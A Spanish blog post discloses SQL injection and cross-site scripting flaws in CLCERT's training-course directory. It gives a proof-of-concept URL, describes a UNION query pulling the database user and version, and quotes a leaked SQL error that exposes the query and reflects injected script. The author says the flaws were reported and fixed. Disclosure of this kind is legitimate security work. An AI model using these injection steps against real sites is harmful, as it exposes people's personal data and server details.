<p>Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es <strong>impresentable</strong> que tengan publicados sitios web con vulnerabilidades tan <strong>basicas</strong>.<br />
Esta organización da cursos y diplomados relacionados a la &#8220;Seguridad Computacional&#8221; o como la mayoría los conoce &#8220;Cursos de Seguridad Informática&#8221; o simplemente &#8220;Cursos de Seguridad&#8221;. Todas las personas que han pasado por estos cursos se pueden ver en la URL <a href="http://capacita.clcert.cl/dir/">http://capacita.clcert.cl/dir/</a> la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.</p>
<p>La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable &#8220;apellido&#8221;, &#8220;id&#8221; y &#8220;fecha&#8221; del archivo index.php. Y la XSS se produce a partir de esta misma.</p>
<p>Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url</p>
<p><img class="aligncenter size-full wp-image-2388" title="url" src="http://blog.zerial.org/wp-content/uploads/2011/07/url.png" alt="" width="259" height="31" /></p>
<p>Deducimos que podemos inyectar código sql mediante la variable &#8220;<em>apellido</em>&#8220;.</p>
<p><span id="more-2387"></span></p>
<p><strong>Proof-of-Concept</strong></p>
<h3>1. SQL Injection</h3>
<p>Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter &#8221; &#8216; &#8221; al valor de la variable mediante la URL <a href="http://capacita.clcert.cl/dir/?apellido=%27">http://capacita.clcert.cl/dir/?apellido=%27</a> y obtenemos el error esperado con la información deseada:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png"><img class="aligncenter size-full wp-image-2390" title="sql1" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png" alt="" width="661" height="61" /></a></p>
<p>Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.<br />
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones <strong>user()</strong> y <strong>version()</strong> propias del MySQL.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png"><img class="aligncenter size-full wp-image-2394" title="sql2_url" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png" alt="" width="545" height="37" /></a></p>
<p>Obteniendo en los campos correspondientes la información solicitada</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png"><img class="aligncenter size-full wp-image-2395" title="sql2" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2.png" alt="" width="587" height="68" /></a></p>
<p>Con este simple sql injection ya tenemos información relevante. Usuario &#8220;diplomado&#8221; y version 4.1.22 del mysql.</p>
<h3>2. Cross-Site Scripting</h3>
<p>Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos &#8220;&#8216; esta es una prueba&#8221; veremos lo siguiente:</p>
<blockquote><p>Query failed: You have an error in your SQL syntax; check the manual  that corresponds to your MySQL server version for the right syntax to  use near &#8216;<strong>esta es una prueba%&#8217;</strong>&#8216; at line 1Executed query: select   apellidos, nombres, fecha , id from users where apellidos like &#8221; esta  es una prueba%&#8217;</p></blockquote>
<p>Por lo tanto, si en lugar de &#8220;esta es una prueba&#8221; ingresamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss1.png" alt="" title="xss1" width="681" height="404" class="aligncenter size-full wp-image-2400" /></a></p>
<p>Es increible como las organizaciones que &#8220;luchan&#8221; por la seguridad son inseguras. Errores tan basicos, tan simples &#8230; Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.</p>
<p>La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio. </p>
<p><strong>Links</strong></p>
<p><a href="http://www.secureless.org/vulnerability/1808">Reporte XSS en Secureless</a><br />
<a href="http://www.secureless.org/vulnerability/1807">Reporte SQL-Injection en Secureless</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/"  data-text="Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

